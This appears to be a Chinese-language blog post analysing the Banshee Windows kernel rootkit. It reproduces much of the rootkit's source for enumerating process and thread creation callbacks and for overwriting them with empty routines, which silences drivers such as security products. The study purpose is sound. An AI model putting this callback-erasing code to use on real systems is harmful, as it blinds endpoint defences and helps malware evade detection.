书接上回,这次的文章继续来探讨一下Banshee内核回调功能的实现😘
进程/线程创建回调函数枚举
banshee运行callbacks可以列举出系统中注册的对进程/线程创建的回调函数
写一个驱动程序来验证这个枚举功能
#include <ntddk.h>
PVOID g_ProcessNotifyRoutineHandle = NULL;
PVOID g_ThreadNotifyRoutineHandle = NULL;
// 进程创建回调函数
VOID ProcessNotifyRoutineEx(
_Inout_ PEPROCESS Process,
_In_ HANDLE ProcessId,
_Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo
)
{
// 仅在进程创建时打印
if (CreateInfo != NULL) {
DbgPrint("Process Created: Process ID = 0x%p\n", ProcessId);
}
}
// 线程创建回调函数
VOID ThreadNotifyRoutineEx(
_In_ HANDLE ProcessId,
_In_ HANDLE ThreadId,
_In_ BOOLEAN Create
)
{
// 仅在线程创建时打印
if (Create) {
DbgPrint("Thread Created: Process ID = 0x%p, Thread ID = 0x%p\n", ProcessId, ThreadId);
}
}
// 驱动程序卸载函数
VOID DriverUnload(
_In_ PDRIVER_OBJECT DriverObject
)
{
// 取消注册进程回调
if (g_ProcessNotifyRoutineHandle != NULL) {
PsSetCreateProcessNotifyRoutineEx(ProcessNotifyRoutineEx, TRUE);
}
// 取消注册线程回调
if (g_ThreadNotifyRoutineHandle != NULL) {
PsRemoveCreateThreadNotifyRoutine(ThreadNotifyRoutineEx);
}
DbgPrint("Driver Unloaded Successfully\n");
}
// 驱动程序入口函数
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
NTSTATUS status;
// 设置驱动程序卸载函数
DriverObject->DriverUnload = DriverUnload;
// 注册进程创建回调
status = PsSetCreateProcessNotifyRoutineEx(ProcessNotifyRoutineEx, FALSE);
if (!NT_SUCCESS(status)) {
DbgPrint("Failed to register process notify routine: 0x%X\n", status);
return status;
}
g_ProcessNotifyRoutineHandle = ProcessNotifyRoutineEx;
// 注册线程创建回调
status = PsSetCreateThreadNotifyRoutine(ThreadNotifyRoutineEx);
if (!NT_SUCCESS(status)) {
PsSetCreateProcessNotifyRoutineEx(ProcessNotifyRoutineEx, TRUE);
DbgPrint("Failed to register thread notify routine: 0x%X\n", status);
return status;
}
g_ThreadNotifyRoutineHandle = ThreadNotifyRoutineEx;
DbgPrint("Driver Loaded Successfully\n");
return STATUS_SUCCESS;
}
在这个驱动程序中,注册了两个回调函数,对进程和对线程创建的回调函数.
以下是进程创建回调函数,打印创建进程的pid
VOID ProcessNotifyRoutineEx(
_Inout_ PEPROCESS Process,
_In_ HANDLE ProcessId,
_Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo
)
{
if (CreateInfo != NULL) {
DbgPrint("Process Created: Process ID = 0x%p\n", ProcessId);
}
}
以下是线程创建回调函数,打印创建线程的tid,以及父进程pid
VOID ThreadNotifyRoutineEx(
_In_ HANDLE ProcessId,
_In_ HANDLE ThreadId,
_In_ BOOLEAN Create
)
{
if (Create) {
DbgPrint("Thread Created: Process ID = 0x%p, Thread ID = 0x%p\n", ProcessId, ThreadId);
}
}
注册,开启上述驱动,可以看到dbgview中的输出
上述回调函数成功注册并运行
再次在banshee中运行callbacks,可以查看到KMDFDriver2.sys中的两个回调函数已经被枚举出
接下来对该枚举功能进行解释
以下是输入callbacks会执行的case分支
case ENUM_CALLBACKS:
{
auto cbData = BeCmd_EnumerateCallbacks((CALLBACK_TYPE)payload.ulValue);
// Write answer: copy over callbacks
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
for (auto i = 0U; i < cbData.size(); ++i)
{
CALLBACK_DATA cbd = { // TODO: this aint pretty, its a pity...
cbData[i].driverBase,
cbData[i].offset,
NULL
};
memcpy(cbd.driverName, cbData[i].driverName, (wcslen(cbData[i].driverName) + 1) * sizeof(WCHAR));
memcpy((PVOID)&(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).callbackData[i], (PVOID)&cbd, sizeof(CALLBACK_DATA));
}
// Write amount of callbacks to ulValue
(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).ulValue = (ULONG)cbData.size();
KeUnstackDetachProcess(&apc);
}
bansheeStatus = STATUS_SUCCESS;
break;
详细解释:
auto cbData = BeCmd_EnumerateCallbacks((CALLBACK_TYPE)payload.ulValue);
cbData 将存储查找到的所有回调信息.进入BeCmd_EnumerateCallbacks
返回了BeEnumerateKernelCallbacks(type)
ktd::vector<KernelCallback, PagedPool>
BeEnumerateKernelCallbacks(CALLBACK_TYPE type)
{
auto data = ktd::vector<KernelCallback, PagedPool>();
// get address for the kernel callback array
auto arrayAddr = BeGetKernelCallbackArrayAddr(type);
if (!arrayAddr)
{
LOG_MSG("Failed to get array addr for kernel callbacks\r\n");
return data;
}
LOG_MSG("Array for callbacks: 0x%llx\r\n", arrayAddr);
for (INT i = 0; i < 16; ++i) // TODO: max number
{
// get current address & align the addresses to 0x10 (https://medium.com/@yardenshafir2/windbg-the-fun-way-part-2-7a904cba5435)
PVOID currCallbackBlockAddr = (PVOID)(((UINT64*)arrayAddr)[i] & 0xFFFFFFFFFFFFFFF0);
if (!currCallbackBlockAddr)
continue;
// cast to callback routine block
auto currCallbackBlock = *((EX_CALLBACK_ROUTINE_BLOCK*)currCallbackBlockAddr);
// get function address
auto callbackFunctionAddr = (UINT64)currCallbackBlock.Function;
// get corresponding driver
auto driver = BeGetDriverForAddress(callbackFunctionAddr);
if (!driver)
{
LOG_MSG("Didnt find driver for callback\r\n");
continue;
}
// calculate offset of function
auto offset = callbackFunctionAddr - (UINT64)(driver->DllBase);
// Print info
LOG_MSG("Callback: %ls, 0x%llx + 0x%llx\r\n", driver->BaseDllName.Buffer, (UINT64)driver->DllBase, offset);
// add to result data
KernelCallback pcc = {
driver->BaseDllName.Buffer,
(UINT64)driver->DllBase,
offset
};
data.push_back(pcc);
}
return data;
}
- 在这个函数中创建一个使用分页池的内核向量,用于存储回调信息,遍历回调数组,最大限制为16个
- 在for循环中,对每一个数组成员获取当前回调块地址,提取回调函数的实际地址
- 调用
BeGetDriverForAddress
通过函数地址定位所属驱动 - 通过用函数地址减去驱动基地址得到回调函数在驱动中的相对偏移.
- 最后构造
KernelCallback pcc = { driver->BaseDllName.Buffer, // 驱动名 (UINT64)driver->DllBase, // 驱动基地址 offset // 函数偏移 };
这样的结结构体,并且将其添加到结果向量并返回. - 以下为
BeGetDriverForAddress
实现,原理是通过遍历内核驱动链表InLoadOrderLinks
,找到包含给定地址的驱动模块.
BeGetDriverForAddress(UINT64 address)
{
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)(BeGlobals::diskDriverObject)->DriverSection;
PKLDR_DATA_TABLE_ENTRY first = entry;
LOG_MSG("Looking for address: 0x%llx\r\n", address);
// HACK: TODO: drivers are not sorted by address, so i do stupid shit here
PKLDR_DATA_TABLE_ENTRY currentBestMatch = NULL;
while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != first)
{
UINT64 startAddr = UINT64(entry->DllBase);
// UINT64 endAddr = UINT64(((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink)->DllBase);
if (address >= startAddr && (currentBestMatch == NULL || startAddr > UINT64(currentBestMatch->DllBase)))
{
currentBestMatch = entry;
}
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
return currentBestMatch;
}
- 从
BeCmd_EnumerateCallbacksha
函数出来之后,又回到了case分支,并且获得了一个类型为ktd::vector<KernelCallback,(POOL_TYPE)1>
的包含所有回调信息的ji结构体cbData KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
切换到 winLogon 进程上下文 目的是安全地访问共享内存区域- 接着在
for (auto i = 0U; i < cbData.size(); ++i)
这个for循环和后续代码中,将cbData中的信息拷贝到共享内存方便用户态的命令行程序读取和输出 - 最后恢复上下文
KeUnstackDetachProcess(&apc);
,返回成功
隐藏进程/线程创建回调函数
核心代码:
NTSTATUS
BeReplaceKernelCallbacksOfDriver(PWCH targetDriverModuleName, CALLBACK_TYPE type)
{
LOG_MSG("Target: %S\n", targetDriverModuleName);
// get address for the kernel callback array
auto arrayAddr = BeGetKernelCallbackArrayAddr(type);
if (!arrayAddr)
{
LOG_MSG("Failed to get array addr for kernel callbacks\r\n");
return STATUS_NOT_FOUND;
}
LOG_MSG("Array for callbacks: 0x%llx\r\n", arrayAddr);
for (INT i = 0; i < 16; ++i) // TODO: max number
{
// get callback array address & align the addresses to 0x10 (https://medium.com/@yardenshafir2/windbg-the-fun-way-part-2-7a904cba5435)
auto currCallbackBlockAddr = (PVOID)(((UINT64*)arrayAddr)[i] & 0xFFFFFFFFFFFFFFF0);
if (!currCallbackBlockAddr)
continue;
// cast to callback routine block
auto currCallbackBlock = *((EX_CALLBACK_ROUTINE_BLOCK*)currCallbackBlockAddr);
// get function address
auto callbackFunctionAddr = (UINT64)currCallbackBlock.Function;
// get corresponding driver
auto driver = BeGetDriverForAddress(callbackFunctionAddr);
if (!driver)
{
LOG_MSG("Didnt find driver for callback\r\n");
continue;
}
// if it is the driver were looking for
if (wcscmp(driver->BaseDllName.Buffer, targetDriverModuleName) == 0)
{
// calculate offset of function
auto offset = callbackFunctionAddr - (UINT64)(driver->DllBase);
// Print info
LOG_MSG("Replacing callback with empty callback: %ls, 0x%llx + 0x%llx\r\n", driver->BaseDllName.Buffer, (UINT64)driver->DllBase, offset);
auto addrOfCallbackFunction = (ULONG64)currCallbackBlockAddr + sizeof(ULONG_PTR);
{
AutoLock<FastMutex> _lock(BeGlobals::callbackLock);
LONG64 oldCallbackAddress;
// Replace routine by empty routine
switch (type)
{
case CreateProcessNotifyRoutine:
oldCallbackAddress = InterlockedExchange64((LONG64*)addrOfCallbackFunction, (LONG64)&BeEmptyCreateProcessNotifyRoutine);
break;
case CreateThreadNotifyRoutine:
oldCallbackAddress = InterlockedExchange64((LONG64*)addrOfCallbackFunction, (LONG64)&BeEmptyCreateThreadNotifyRoutine);
break;
default:
LOG_MSG("Invalid callback type\r\n");
return STATUS_INVALID_PARAMETER;
break;
}
// save old callback to restore later upon unloading
BeGlobals::beCallbacksToRestore.addrOfCallbackFunction[BeGlobals::beCallbacksToRestore.length] = addrOfCallbackFunction;
BeGlobals::beCallbacksToRestore.callbackToRestore[BeGlobals::beCallbacksToRestore.length] = oldCallbackAddress;
BeGlobals::beCallbacksToRestore.callbackType[BeGlobals::beCallbacksToRestore.length] = type;
BeGlobals::beCallbacksToRestore.length++;
}
}
}
LOG_MSG("Kernel callbacks erased: %i\n", BeGlobals::beCallbacksToRestore.length);
return STATUS_SUCCESS;
}
原理是通过覆盖函数指针,使其指向 Banshee 中的空函数,从而删除回调。
先看效果,在文章开头我们写了一个打印pid,tid的驱动,使用这个驱动做实验
banshee运行earse_t 输入KMDFDriver2.sys 运行之后如图
可以看到banshee找到了KMDFDriver2.sys中线程创建回调函数的地址,并且将其替换为空函数的地址,使得该回调函数无法再次读创建线程的操作进行回调.
BeReplaceKernelCallbacksOfDriver
和枚举进程时一样,都是使用BeGetKernelCallbackArrayAddr
来获取回调函数信息数组,核心逻辑
- 在遍历数组时通过
auto callbackFunctionAddr = (UINT64)currCallbackBlock.Function;
获取回调函数地址 - 通过
auto driver = BeGetDriverForAddress(callbackFunctionAddr);
查找函数所在驱动 - 之后比较用户输入和for循环中的驱动名
- 如果相同通过
auto offset = callbackFunctionAddr - (UINT64)(driver->DllBase);
计算回调函数在驱动中的偏移 - 通过
auto addrOfCallbackFunction = (ULONG64)currCallbackBlockAddr + sizeof(ULONG_PTR);
计算回调函数地址
在获取到auto addrOfCallbackFunction
地址后,进行以下操作
switch (type)
{
case CreateProcessNotifyRoutine:
oldCallbackAddress = InterlockedExchange64(
(LONG64*)addrOfCallbackFunction,
(LONG64)&BeEmptyCreateProcessNotifyRoutine
);
break;
case CreateThreadNotifyRoutine:
oldCallbackAddress = InterlockedExchange64(
(LONG64*)addrOfCallbackFunction,
(LONG64)&BeEmptyCreateThreadNotifyRoutine
);
break;
default:
LOG_MSG("Invalid callback type\r\n");
return STATUS_INVALID_PARAMETER;
}
根据回调类型来使用空函数替换进程创建回调或者线程创建回调,使得该回调函数失效.
Banshee rootkit的所有功能到此就全部说明完毕😍还是学到了很多东西捏,后续的计划是再去研究研究KdMapper😎感谢各位阅读🥰
请登录后查看评论内容